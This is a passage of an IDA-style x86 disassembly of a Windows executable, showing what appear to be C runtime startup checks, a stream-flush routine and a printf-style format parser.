eax cmp dword ptr [ecx], 4550h jnz short loc_4149C5 movzx eax, word ptr [ecx+18h] cmp eax, 10Bh jz short loc_4149DD cmp eax, 20Bh jz short loc_4149CA loc_4149C5: ; CODE XREF: .text:004149A4j ; .text:004149B1j ... mov [ebp-1Ch], esi jmp short loc_4149F1 ; --------------------------------------------------------------------------- loc_4149CA: ; CODE XREF: .text:004149C3j cmp dword ptr [ecx+84h], 0Eh jbe short loc_4149C5 xor eax, eax cmp [ecx+0F8h], esi jmp short loc_4149EB ; --------------------------------------------------------------------------- loc_4149DD: ; CODE XREF: .text:004149BCj cmp dword ptr [ecx+74h], 0Eh jbe short loc_4149C5 xor eax, eax cmp [ecx+0E8h], esi loc_4149EB: ; CODE XREF: .text:004149DBj setnz al mov [ebp-1Ch], eax loc_4149F1: ; CODE XREF: .text:004149C8j push 1 call sub_41677E pop ecx test eax, eax jnz short loc_414A05 push 1Ch call sub_414906 pop ecx loc_414A05: ; CODE XREF: .text:004149FBj call sub_4154C7 test eax, eax jnz short loc_414A16 push 10h call sub_414906 pop ecx loc_414A16: ; CODE XREF: .text:00414A0Cj call sub_419750 mov [ebp-4], esi call sub_41A5BE test eax, eax jge short loc_414A2F push 1Bh call sub_4148E1 pop ecx loc_414A2F: ; CODE XREF: .text:00414A25j call ds:dword_41F14C mov dword_47B664, eax call sub_41A49C mov dword_479EA0, eax call sub_41A3FA test eax, eax jge short loc_414A55 push 8 call sub_4148E1 pop ecx loc_414A55: ; CODE XREF: .text:00414A4Bj call sub_41A1C7 test eax, eax jge short loc_414A66 push 9 call sub_4148E1 pop ecx loc_414A66: ; CODE XREF: .text:00414A5Cj call sub_4143FB mov [ebp-20h], eax cmp eax, esi jz short loc_414A79 push eax call sub_4148E1 pop ecx loc_414A79: ; CODE XREF: .text:00414A70j mov [ebp-38h], esi lea eax, [ebp-64h] push eax call ds:dword_41F148 call sub_41A15E mov [ebp-68h], eax test byte ptr [ebp-38h], 1 jz short loc_414A9A movzx eax, word ptr [ebp-34h] jmp short loc_414A9D ; --------------------------------------------------------------------------- loc_414A9A: ; CODE XREF: .text:00414A92j push 0Ah pop eax loc_414A9D: ; CODE XREF: .text:00414A98j push eax push dword ptr [ebp-68h] push esi push esi call edi push eax call sub_40D1EF mov edi, eax mov [ebp-6Ch], edi cmp [ebp-1Ch], esi jnz short loc_414ABB push edi call sub_414533 loc_414ABB: ; CODE XREF: .text:00414AB3j call sub_414555 jmp short loc_414AED ; --------------------------------------------------------------------------- loc_414AC2: ; DATA XREF: .rdata:stru_4277F0o mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-70h], ecx push eax push ecx call sub_419FFA pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_414AD6: ; DATA XREF: .rdata:stru_4277F0o mov esp, [ebp-18h] mov edi, [ebp-70h] cmp dword ptr [ebp-1Ch], 0 jnz short loc_414AE8 push edi call sub_414544 loc_414AE8: ; CODE XREF: .text:00414AE0j call sub_414564 loc_414AED: ; CODE XREF: .text:00414AC0j or dword ptr [ebp-4], 0FFFFFFFFh mov eax, edi lea esp, [ebp-7Ch] call __SEH_epilog retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414AFC proc near ; CODE XREF: sub_412BB5+4Bp ; sub_412E0D+4Ap ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] test al, 82h mov ebx, [esi+10h] jz loc_414C08 test al, 40h jnz loc_414C08 test al, 1 jz short loc_414B35 and dword ptr [esi+4], 0 test al, 10h jz loc_414C08 mov ecx, [esi+8] and eax, 0FFFFFFFEh mov [esi], ecx mov [esi+0Ch], eax loc_414B35: ; CODE XREF: sub_414AFC+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and eax, 0FFFFFFEFh or eax, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_414B71 cmp esi, offset dword_42C920 jz short loc_414B5F cmp esi, offset dword_42C940 jnz short loc_414B6A loc_414B5F: ; CODE XREF: sub_414AFC+59j push ebx call sub_41AA50 test eax, eax pop ecx jnz short loc_414B71 loc_414B6A: ; CODE XREF: sub_414AFC+61j push esi call sub_41AA0C pop ecx loc_414B71: ; CODE XREF: sub_414AFC+51j ; sub_414AFC+6Cj test word ptr [esi+0Ch], 108h push edi jz short loc_414BDE mov eax, [esi+8] mov edi, [esi] lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] sub edi, eax dec ecx test edi, edi mov [esi+4], ecx jle short loc_414B9E push edi push eax push ebx call sub_41A961 mov [ebp+arg_4], eax jmp short loc_414BD1 ; --------------------------------------------------------------------------- loc_414B9E: ; CODE XREF: sub_414AFC+93j cmp ebx, 0FFFFFFFFh jz short loc_414BBC mov ecx, ebx sar ecx, 5 mov ecx, dword_47A2E0[ecx*4] mov eax, ebx and eax, 1Fh lea eax, [eax+eax*8] lea eax, [ecx+eax*4] jmp short loc_414BC1 ; --------------------------------------------------------------------------- loc_414BBC: ; CODE XREF: sub_414AFC+A5j mov eax, offset dword_42D068 loc_414BC1: ; CODE XREF: sub_414AFC+BEj test byte ptr [eax+4], 20h jz short loc_414BD4 push 2 push 0 push ebx call sub_419C3D loc_414BD1: ; CODE XREF: sub_414AFC+A0j add esp, 0Ch loc_414BD4: ; CODE XREF: sub_414AFC+C9j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_414BF2 ; --------------------------------------------------------------------------- loc_414BDE: ; CODE XREF: sub_414AFC+7Cj xor edi, edi inc edi push edi lea eax, [ebp+arg_0] push eax push ebx call sub_41A961 add esp, 0Ch mov [ebp+arg_4], eax loc_414BF2: ; CODE XREF: sub_414AFC+E0j cmp [ebp+arg_4], edi pop edi jz short loc_414BFE or dword ptr [esi+0Ch], 20h jmp short loc_414C0E ; --------------------------------------------------------------------------- loc_414BFE: ; CODE XREF: sub_414AFC+FAj mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_414C11 ; --------------------------------------------------------------------------- loc_414C08: ; CODE XREF: sub_414AFC+10j ; sub_414AFC+18j ... or eax, 20h mov [esi+0Ch], eax loc_414C0E: ; CODE XREF: sub_414AFC+100j or eax, 0FFFFFFFFh loc_414C11: ; CODE XREF: sub_414AFC+10Aj pop esi pop ebx pop ebp retn sub_414AFC endp ; =============== S U B R O U T I N E ======================================= sub_414C15 proc near ; CODE XREF: sub_414C48+11p ; sub_414C6C+22p ... test byte ptr [ecx+0Ch], 40h jz short loc_414C21 cmp dword ptr [ecx+8], 0 jz short loc_414C45 loc_414C21: ; CODE XREF: sub_414C15+4j dec dword ptr [ecx+4] js short loc_414C31 mov edx, [ecx] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_414C3D ; --------------------------------------------------------------------------- loc_414C31: ; CODE XREF: sub_414C15+Fj movsx eax, al push ecx push eax call sub_414AFC pop ecx pop ecx loc_414C3D: ; CODE XREF: sub_414C15+1Aj cmp eax, 0FFFFFFFFh jnz short loc_414C45 or [esi], eax retn ; --------------------------------------------------------------------------- loc_414C45: ; CODE XREF: sub_414C15+Aj ; sub_414C15+2Bj inc dword ptr [esi] retn sub_414C15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414C48 proc near ; CODE XREF: sub_414CA3+6A2p ; sub_414CA3+6CDp ... arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi mov esi, eax jmp short loc_414C63 ; --------------------------------------------------------------------------- loc_414C50: ; CODE XREF: sub_414C48+1Fj mov ecx, [ebp+arg_8] mov al, [ebp+arg_0] dec [ebp+arg_4] call sub_414C15 cmp dword ptr [esi], 0FFFFFFFFh jz short loc_414C69 loc_414C63: ; CODE XREF: sub_414C48+6j cmp [ebp+arg_4], 0 jg short loc_414C50 loc_414C69: ; CODE XREF: sub_414C48+19j pop esi pop ebp retn sub_414C48 endp ; =============== S U B R O U T I N E ======================================= sub_414C6C proc near ; CODE XREF: sub_414CA3+6B6p ; sub_414CA3+70Ep ... arg_0 = dword ptr 4 test byte ptr [edi+0Ch], 40h push ebx push esi mov esi, eax mov ebx, ecx jz short loc_414C99 cmp dword ptr [edi+8], 0 jnz short loc_414C99 mov eax, [esp+8+arg_0] add [esi], eax jmp short loc_414CA0 ; --------------------------------------------------------------------------- loc_414C86: ; CODE XREF: sub_414C6C+32j mov al, [ebx] dec [esp+8+arg_0] mov ecx, edi call sub_414C15 inc ebx cmp dword ptr [esi], 0FFFFFFFFh jz short loc_414CA0 loc_414C99: ; CODE XREF: sub_414C6C+Aj ; sub_414C6C+10j cmp [esp+8+arg_0], 0 jg short loc_414C86 loc_414CA0: ; CODE XREF: sub_414C6C+18j ; sub_414C6C+2Bj pop esi pop ebx retn sub_414C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414CA3 proc near ; CODE XREF: sub_412BB5+2Ap ; sub_412E0D+29p ... var_254 = byte ptr -254h var_55 = byte ptr -55h var_54 = byte ptr -54h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 254h mov eax, dword_42CE38 xor eax, [ebp+4] push ebx mov [ebp+var_4], eax xor eax, eax mov [ebp+var_14], eax mov [ebp+var_18], eax mov [ebp+var_2C], eax mov eax, [ebp+arg_4] mov bl, [eax] xor ecx, ecx test bl, bl jz loc_415407 push esi push edi mov edi, eax jmp short loc_414CDB ; --------------------------------------------------------------------------- loc_414CD8: ; CODE XREF: sub_414CA3+75Cj mov ecx, [ebp+var_38] loc_414CDB: ; CODE XREF: sub_414CA3+33j inc edi cmp [ebp+var_18], 0 mov [ebp+arg_4], edi jl loc_415405 cmp bl, 20h jl short loc_414D02 cmp bl, 78h jg short loc_414D02 movsx eax, bl movsx eax, byte ptr ds:stru_4277E0._unk[eax] and eax, 0Fh jmp short loc_414D04 ; --------------------------------------------------------------------------- loc_414D02: ; CODE XREF: sub_414CA3+49j ; sub_414CA3+4Ej xor eax, eax loc_414D04: ; CODE XREF: sub_414CA3+5Dj movsx eax, ds:byte_427800[ecx+eax*8] push 7 sar eax, 4 pop ecx cmp eax, ecx ; switch 8 cases mov [ebp+var_38], eax ja loc_4153F8 ; default jmp ds:off_415418[eax*4] ; switch jump loc_414D24: ; DATA XREF: .text:off_415418o xor eax, eax ; jumptable 00414D1D case 1 or [ebp+var_C], 0FFFFFFFFh mov [ebp+var_3C], eax mov [ebp+var_34], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_8], eax mov [ebp+var_28], eax jmp loc_4153F8 ; default ; --------------------------------------------------------------------------- loc_414D41: ; CODE XREF: sub_414CA3+7Aj ; DATA XREF: .text:off_415418o movsx eax, bl ; jumptable 00414D1D case 2 sub eax, 20h jz short loc_414D84 sub eax, 3 jz short loc_414D7B sub eax, 8 jz short loc_414D72 dec eax dec eax jz short loc_414D69 sub eax, 3 jnz loc_4153F8 ; default or [ebp+var_8], 8 jmp loc_4153F8 ; default ; --------------------------------------------------------------------------- loc_414D69: ; CODE XREF: sub_414CA3+B2j or [ebp+var_8], 4 jmp loc_4153F8 ; default ; --------------------------------------------------------------------------- loc_414D72: ; CODE XREF: sub_414CA3+AEj or [ebp+var_8], 1 jmp loc_4153F8 ; default ; --------------------------------------------------------------------------- loc_414D7B: ; CODE XREF: sub_414CA3+A9j or byte ptr [ebp+var_8], 80h jmp loc_4153F8 ; default ; --------------------------------------------------------------------------- loc_414D84: ; CODE XREF: sub_414CA3+A4j or [ebp+var_8], 2 jmp loc_4153F8 ; default ; --------------------------------------------------------------------------- loc_414D8D: ; CODE XREF: sub_414CA3+7Aj ; DATA XREF: .text:off_415418o cmp bl, 2Ah ; jumptable 00414D1D case 3 jnz short loc_414DB3 add [ebp+arg_8], 4 mov eax, [ebp+arg_8] mov eax, [eax-4] test eax, eax mov [ebp+var_24], eax jge loc_4153F8 ; default or [ebp+var_8], 4 neg [ebp+var_24] jmp loc_4153F8 ; default ; --------------------------------------------------------------------------- loc_414DB3: ; CODE XREF: sub_414CA3+EDj mov eax, [ebp+var_24] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] mov [ebp+var_24], eax jmp loc_4153F8 ; default ; --------------------------------------------------------------------------- loc_414DC8: ; CODE XREF: sub_414CA3+7Aj ; DATA XREF: .text:off_415418o and [ebp+var_C], 0 ; jumptable 00414D1D case 4 jmp loc_4153F8 ; default ; --------------------------------------------------------------------------- loc_414DD1: ; CODE XREF: sub_414CA3+7Aj ; DATA XREF: .text:off_415418o cmp bl, 2Ah ; jumptable 00414D1D case 5 jnz short loc_414DF4 add [ebp+arg_8], 4 mov eax, [ebp+arg_8] mov eax, [eax-4] test eax, eax mov [ebp+var_C], eax jge loc_4153F8 ; default or [ebp+var_C], 0FFFFFFFFh jmp loc_4153F8 ; default ; --------------------------------------------------------------------------- loc_414DF4: ; CODE XREF: sub_414CA3+131j mov eax, [ebp+var_C] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] mov [ebp+var_C], eax jmp loc_4153F8 ; default ; --------------------------------------------------------------------------- loc_414E09: ; CODE XREF: sub_414CA3+7Aj ; DATA XREF: .text:off_415418o cmp bl, 49h ; jumptable 00414D1D case 6 jz short loc_414E3C cmp bl, 68h jz short loc_414E33 cmp bl, 6Ch jz short loc_414E2A cmp bl, 77h jnz loc_4153F8 ; default or byte ptr [ebp+var_8+1], 8 jmp loc_4153F8 ; default ; --------------------------------------------------------------------------- loc_414E2A: ; CODE XREF: sub_414CA3+173j or [ebp+var_8], 10h jmp loc_4153F8 ; default ; --------------------------------------------------------------------------- loc_414E33: ; CODE XREF: sub_414CA3+16Ej or [ebp+var_8], 20h jmp loc_4153F8 ; default ; --------------------------------------------------------------------------- loc_414E3C: ; CODE XREF: sub_414CA3+169j mov al, [edi] cmp al, 36h jnz short loc_414E56 cmp byte ptr [edi+1], 34h jnz short loc_414E56 inc edi inc edi or byte ptr [ebp+var_8+1], 80h mov [ebp+arg_4], edi jmp loc_4153F8 ; default ; --------------------------------------------------------------------------- loc_414E56: ; CODE XREF: sub_414CA3+19Dj ; sub_414CA3+1A3j cmp al, 33h jnz short loc_414E6E cmp byte ptr [edi+1], 32h jnz short loc_414E6E inc edi inc edi and byte ptr [ebp+var_8+1], 7Fh mov [ebp+arg_4], edi jmp loc_4153F8 ; default ; --------------------------------------------------------------------------- loc_414E6E: ; CODE XREF: sub_414CA3+1B5j ; sub_414CA3+1BBj cmp al, 64h jz loc_4153F8 ; default cmp al, 69h jz loc_4153F8 ; default cmp al, 6Fh jz loc_4153F8 ; default cmp al, 75h jz loc_4153F8 ; default cmp al, 78h jz loc_4153F8 ; default cmp al, 58h jz loc_4153F8 ; default and [ebp+var_38], 0 loc_414EA2: ; CODE XREF: sub_414CA3+7Aj ; DATA XREF: .text:off_415418o mov ecx, off_42CE30 ; jumptable 00414D1D case 0 and [ebp+var_28], 0 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_414EC9 mov ecx, [ebp+arg_0] lea esi, [ebp+var_18] mov al, bl call sub_414C15 mov bl, [edi] inc edi mov [ebp+arg_4], edi loc_414EC9: ; CODE XREF: sub_414CA3+211j mov ecx, [ebp+arg_0] lea esi, [ebp+var_18] mov al, bl call sub_414C15 jmp loc_4153F8 ; default ; --------------------------------------------------------------------------- loc_414EDB: ; CODE XREF: sub_414CA3+7Aj ; DATA XREF: .text:off_415418o movsx eax, bl ; jumptable 00414D1D case 7 cmp eax, 67h jg loc_41512D cmp eax, 65h jge loc_414F70 cmp eax, 58h jg loc_414FD1 jz loc_4151AE sub eax, 43h jz loc_414F93 dec eax dec eax jz short loc_414F66 dec eax dec eax jz short loc_414F66 sub eax, 0Ch jnz loc_4152F6 test word ptr [ebp+var_8], 830h jnz short loc_414F25 or byte ptr [ebp+var_8+1], 8 loc_414F25: ; CODE XREF: sub_414CA3+27Cj ; sub_414CA3+4A9j mov ecx, [ebp+var_C] cmp ecx, 0FFFFFFFFh jnz short loc_414F32 mov ecx, 7FFFFFFFh loc_414F32: ; CODE XREF: sub_414CA3+288j add [ebp+arg_8], 4 test word ptr [ebp+var_8], 810h mov eax, [ebp+arg_8] mov eax, [eax-4] mov [ebp+var_10], eax jz loc_415183 test eax, eax jnz short loc_414F57 mov eax, off_42C74C mov [ebp+var_10], eax loc_414F57: ; CODE XREF: sub_414CA3+2AAj mov eax, [ebp+var_10] mov [ebp+var_28], 1 jmp loc_415175 ; --------------------------------------------------------------------------- loc_414F66: ; CODE XREF: sub_414CA3+267j ; sub_414CA3+26Bj mov [ebp+var_3C], 1 add bl, 20h loc_414F70: ; CODE XREF: sub_414CA3+247j or [ebp+var_8], 40h cmp [ebp+var_C], 0 lea esi, [ebp+var_254] mov [ebp+var_10], esi jge loc_415077 mov [ebp+var_C], 6 jmp loc_4150BE ; --------------------------------------------------------------------------- loc_414F93: ; CODE XREF: sub_414CA3+25Fj test word ptr [ebp+var_8], 830h jnz short loc_414F9F or byte ptr [ebp+var_8+1], 8 loc_414F9F: ; CODE XREF: sub_414CA3+2F6j ; sub_414CA3+336j add [ebp+arg_8], 4 test word ptr [ebp+var_8], 810h mov eax, [ebp+arg_8] jz short loc_415010 movsx eax, word ptr [eax-4] push eax lea eax, [ebp+var_254] push eax call sub_41AADA test eax, eax pop ecx pop ecx mov [ebp+var_14], eax jge short loc_415020 mov [ebp+var_34], 1 jmp short loc_415020 ; --------------------------------------------------------------------------- loc_414FD1: ; CODE XREF: sub_414CA3+250j sub eax, 5Ah jz short loc_41502E sub eax, 9 jz short loc_414F9F dec eax jnz loc_4152F6 loc_414FE2: ; CODE XREF: sub_414CA3+48Dj or [ebp+var_8], 40h loc_414FE6: ; CODE XREF: sub_414CA3+4B1j mov [ebp+var_14], 0Ah loc_414FED: ; CODE XREF: sub_414CA3+519j ; sub_414CA3+532j ... mov ebx, [ebp+var_8] mov esi, 8000h test ebx, esi jz loc_41521E mov ecx, [ebp+arg_8] mov eax, [ecx] mov edx, [ecx+4] add ecx, 8 mov [ebp+arg_8], ecx jmp loc_415246 ; --------------------------------------------------------------------------- loc_415010: ; CODE XREF: sub_414CA3+309j mov al, [eax-4] mov [ebp+var_254], al mov [ebp+var_14], 1 loc_415020: ; CODE XREF: sub_414CA3+323j ; sub_414CA3+32Cj lea eax, [ebp+var_254] mov [ebp+var_10], eax jmp loc_4152F6 ; --------------------------------------------------------------------------- loc_41502E: ; CODE XREF: sub_414CA3+331j add [ebp+arg_8], 4 mov eax, [ebp+arg_8] mov eax, [eax-4] test eax, eax jz short loc_415069 mov ecx, [eax+4] test ecx, ecx jz short loc_415069 test byte ptr [ebp+var_8+1], 8 movsx eax, word ptr [eax] mov [ebp+var_10], ecx jz short loc_415060 cdq sub eax, edx sar eax, 1 mov [ebp+var_28], 1 jmp loc_4152F3 ; --------------------------------------------------------------------------- loc_415060: ; CODE XREF: sub_414CA3+3AAj and [ebp+var_28], 0 jmp loc_4152F3 ; --------------------------------------------------------------------------- loc_415069: ; CODE XREF: sub_414CA3+397j ; sub_414CA3+39Ej mov eax, off_42C748 mov [ebp+var_10], eax push eax jmp loc_415122 ; --------------------------------------------------------------------------- loc_415077: ; CODE XREF: sub_414CA3+2DEj jnz short loc_415087 cmp bl, 67h jnz short loc_4150BE mov [ebp+var_C], 1 jmp short loc_4150BE ; --------------------------------------------------------------------------- loc_415087: ; CODE XREF: sub_414CA3:loc_415077j mov eax, 200h cmp [ebp+var_C], eax jle short loc_415094 mov [ebp+var_C], eax loc_415094: ; CODE XREF: sub_414CA3+3ECj mov edi, 0A3h cmp [ebp+var_C], edi jle short loc_4150BE mov eax, [ebp+var_C] add eax, 15Dh push eax call sub_41344D test eax, eax pop ecx mov [ebp+var_2C], eax jz short loc_4150BB mov [ebp+var_10], eax mov esi, eax jmp short loc_4150BE ; --------------------------------------------------------------------------- loc_4150BB: ; CODE XREF: sub_414CA3+40Fj mov [ebp+var_C], edi loc_4150BE: ; CODE XREF: sub_414CA3+2EBj ; sub_414CA3+3D9j ... mov eax, [ebp+arg_8] mov ecx, [eax] push [ebp+var_3C] add eax, 8 push [ebp+var_C] mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_48], eax movsx eax, bl push eax lea eax, [ebp+var_4C] push esi push eax mov [ebp+var_4C], ecx call off_42CE18 mov edi, [ebp+var_8] add esp, 14h and edi, 80h jz short loc_415103 cmp [ebp+var_C], 0 jnz short loc_415103 push esi call off_42CE24 pop ecx loc_415103: ; CODE XREF: sub_414CA3+450j ; sub_414CA3+456j cmp bl, 67h jnz short loc_415114 test edi, edi jnz short loc_415114 push esi call off_42CE1C pop ecx loc_415114: ; CODE XREF: sub_414CA3+463j ; sub_414CA3+467j cmp byte ptr [esi], 2Dh jnz short loc_415121 or byte ptr [ebp+var_8+1], 1 inc esi mov [ebp+var_10], esi loc_415121: ; CODE XREF: sub_414CA3+474j push esi loc_415122: ; CODE XREF: sub_414CA3+3CFj call sub_416000 pop ecx jmp loc_4152F3 ; --------------------------------------------------------------------------- loc_41512D: ; CODE XREF: sub_414CA3+23Ej sub eax, 69h jz loc_414FE2 sub eax, 5 jz loc_4151F4 dec eax jz loc_4151DA dec eax jz short loc_4151A7 sub eax, 3 jz loc_414F25 dec eax dec eax jz loc_414FE6 sub eax, 3 jnz loc_4152F6 mov [ebp+var_30], 27h jmp short loc_4151B1 ; --------------------------------------------------------------------------- loc_41516C: ; CODE XREF: sub_414CA3+4D4j dec ecx cmp word ptr [eax], 0 jz short loc_415179 inc eax inc eax loc_415175: ; CODE XREF: sub_414CA3+2BEj test ecx, ecx jnz short loc_41516C loc_415179: ; CODE XREF: sub_414CA3+4CEj sub eax, [ebp+var_10] sar eax, 1 jmp loc_4152F3 ; --------------------------------------------------------------------------- loc_415183: ; CODE XREF: sub_414CA3+2A2j test eax, eax jnz short loc_41518F mov eax, off_42C748 mov [ebp+var_10], eax loc_41518F: ; CODE XREF: sub_414CA3+4E2j mov eax, [ebp+var_10] jmp short loc_41519B ; --------------------------------------------------------------------------- loc_415194: ; CODE XREF: sub_414CA3+4FAj dec ecx cmp byte ptr [eax], 0 jz short loc_41519F inc eax loc_41519B: ; CODE XREF: sub_414CA3+4EFj test ecx, ecx jnz short loc_415194 loc_41519F: ; CODE XREF: sub_414CA3+4F5j sub eax, [ebp+var_10] jmp loc_4152F3 ; --------------------------------------------------------------------------- loc_4151A7: ; CODE XREF: sub_414CA3+4A4j mov [ebp+var_C], 8 loc_4151AE: ; CODE XREF: sub_414CA3+256j mov [ebp+var_30], ecx loc_4151B1: ; CODE XREF: sub_414CA3+4C7j test byte ptr [ebp+var_8], 80h mov [ebp+var_14], 10h jz loc_414FED mov al, byte ptr [ebp+var_30] add al, 51h mov [ebp+var_1C], 30h mov [ebp+var_1B], al mov [ebp+var_20], 2 jmp loc_414FED ; --------------------------------------------------------------------------- loc_4151DA: ; CODE XREF: sub_414CA3+49Dj test byte ptr [ebp+var_8], 80h mov [ebp+var_14], 8 jz loc_414FED or byte ptr [ebp+var_8+1], 2 jmp loc_414FED ; --------------------------------------------------------------------------- loc_4151F4: ; CODE XREF: sub_414CA3+496j add [ebp+arg_8], 4 test byte ptr [ebp+var_8], 20h mov eax, [ebp+arg_8] mov eax, [eax-4] jz short loc_41520D mov cx, word ptr [ebp+var_18] mov [eax], cx jmp short loc_415212 ; --------------------------------------------------------------------------- loc_41520D: ; CODE XREF: sub_414CA3+55Fj mov ecx, [ebp+var_18] mov [eax], ecx loc_415212: ; CODE XREF: sub_414CA3+568j mov [ebp+var_34], 1 jmp loc_4153E5 ; --------------------------------------------------------------------------- loc_41521E: ; CODE XREF: sub_414CA3+354j add [ebp+arg_8], 4 test bl, 20h mov eax, [ebp+arg_8] jz short loc_41523C test bl, 40h jz short loc_415236 movsx eax, word ptr [eax-4] loc_415233: ; CODE XREF: sub_414CA3+597j ; sub_414CA3+59Fj cdq jmp short loc_415246 ; --------------------------------------------------------------------------- loc_415236: ; CODE XREF: sub_414CA3+58Aj movzx eax, word ptr [eax-4] jmp short loc_415233 ; --------------------------------------------------------------------------- loc_41523C: ; CODE XREF: sub_414CA3+585j test bl, 40h mov eax, [eax-4] jnz short loc_415233 xor edx, edx loc_415246: ; CODE XREF: sub_414CA3+368j ; sub_414CA3+591j test bl, 40h jz short loc_415260 test edx, edx jg short loc_415260 jl short loc_415255 test eax, eax jnb short loc_415260 loc_415255: ; CODE XREF: sub_414CA3+5ACj neg eax adc edx, 0 neg edx or byte ptr [ebp+var_8+1], 1 loc_415260: ; CODE XREF: sub_414CA3+5A6j ; sub_414CA3+5AAj ... test [ebp+var_8], esi mov ebx, eax mov edi, edx jnz short loc_41526B xor edi, edi loc_41526B: ; CODE XREF: sub_414CA3+5C4j cmp [ebp+var_C], 0 jge short loc_41527A mov [ebp+var_C], 1 jmp short loc_41528B ; --------------------------------------------------------------------------- loc_41527A: ; CODE XREF: sub_414CA3+5CCj and [ebp+var_8], 0FFFFFFF7h mov eax, 200h cmp [ebp+var_C], eax jle short loc_41528B mov [ebp+var_C], eax loc_41528B: ; CODE XREF: sub_414CA3+5D5j ; sub_414CA3+5E3j mov eax, ebx or eax, edi jnz short loc_415295 and [ebp+var_20], 0 loc_415295: ; CODE XREF: sub_414CA3+5ECj lea esi, [ebp+var_55] loc_415298: ; CODE XREF: sub_414CA3+627j mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jg short loc_4152A8 mov eax, ebx or eax, edi jz short loc_4152CC loc_4152A8: ; CODE XREF: sub_414CA3+5FDj mov eax, [ebp+var_14] cdq push edx push eax push edi push ebx call sub_413500 add ecx, 30h cmp ecx, 39h mov [ebp+var_40], ebx mov ebx, eax mov edi, edx jle short loc_4152C7 add ecx, [ebp+var_30] loc_4152C7: ; CODE XREF: sub_414CA3+61Fj mov [esi], cl dec esi jmp short loc_415298 ; --------------------------------------------------------------------------- loc_4152CC: ; CODE XREF: sub_414CA3+603j lea eax, [ebp+var_55] sub eax, esi inc esi test byte ptr [ebp+var_8+1], 2 mov [ebp+var_14], eax mov [ebp+var_10], esi jz short loc_4152F6 mov ecx, esi cmp byte ptr [ecx], 30h jnz short loc_4152E9 test eax, eax jnz short loc_4152F6 loc_4152E9: ; CODE XREF: sub_414CA3+640j dec [ebp+var_10] mov ecx, [ebp+var_10] mov byte ptr [ecx], 30h inc eax loc_4152F3: ; CODE XREF: sub_414CA3+3B8j ; sub_414CA3+3C1j ... mov [ebp+var_14], eax loc_4152F6: ; CODE XREF: sub_414CA3+270j ; sub_414CA3+339j ... cmp [ebp+var_34], 0 jnz loc_4153E5 mov ebx, [ebp+var_8] test bl, 40h jz short loc_41532E test bh, 1 jz short loc_415313 mov [ebp+var_1C], 2Dh jmp short loc_415327 ; --------------------------------------------------------------------------- loc_415313: ; CODE XREF: sub_414CA3+668j test bl, 1 jz short loc_41531E mov [ebp+var_1C], 2Bh jmp short loc_415327 ; --------------------------------------------------------------------------- loc_41531E: ; CODE XREF: sub_414CA3+673j test bl, 2 jz short loc_41532E mov [ebp+var_1C], 20h loc_415327: ; CODE XREF: sub_414CA3+66Ej ; sub_414CA3+679j mov [ebp+var_20], 1 loc_41532E: ; CODE XREF: sub_414CA3+663j ; sub_414CA3+67Ej mov esi, [ebp+var_24] sub esi, [ebp+var_20] sub esi, [ebp+var_14] test bl, 0Ch jnz short loc_41534D push [ebp+arg_0] lea eax, [ebp+var_18] push esi push 20h call sub_414C48 add esp, 0Ch loc_41534D: ; CODE XREF: sub_414CA3+697j push [ebp+var_20] mov edi, [ebp+arg_0] lea eax, [ebp+var_18] lea ecx, [ebp+var_1C] call sub_414C6C test bl, 8 pop ecx jz short loc_415378 test bl, 4 jnz short loc_415378 push edi push esi push 30h lea eax, [ebp+var_18] call sub_414C48 add esp, 0Ch loc_415378: ; CODE XREF: sub_414CA3+6BFj ; sub_414CA3+6C4j cmp [ebp+var_28], 0 jz short loc_4153BF cmp [ebp+var_14], 0 jle short loc_4153BF mov eax, [ebp+var_14] mov ebx, [ebp+var_10] mov [ebp+var_40], eax loc_41538D: ; CODE XREF: sub_414CA3+718j dec [ebp+var_40] xor eax, eax mov ax, [ebx] push eax lea eax, [ebp+var_54] push eax call sub_41AADA inc ebx pop ecx inc ebx test eax, eax pop ecx jle short loc_4153CE mov edi, [ebp+arg_0] push eax lea eax, [ebp+var_18] lea ecx, [ebp+var_54] call sub_414C6C cmp [ebp+var_40], 0 pop ecx jnz short loc_41538D jmp short loc_4153CE ; --------------------------------------------------------------------------- loc_4153BF: ; CODE XREF: sub_414CA3+6D9j ; sub_414CA3+6DFj push [ebp+var_14] mov ecx, [ebp+var_10] lea eax, [ebp+var_18] call sub_414C6C pop ecx loc_4153CE: ; CODE XREF: sub_414CA3+702j ; sub_414CA3+71Aj test byte ptr [ebp+var_8], 4 jz short loc_4153E5 push [ebp+arg_0] lea eax, [ebp+var_18] push esi push 20h call sub_414C48 add esp, 0Ch loc_4153E5: ; CODE XREF: sub_414CA3+576j ; sub_414CA3+657j 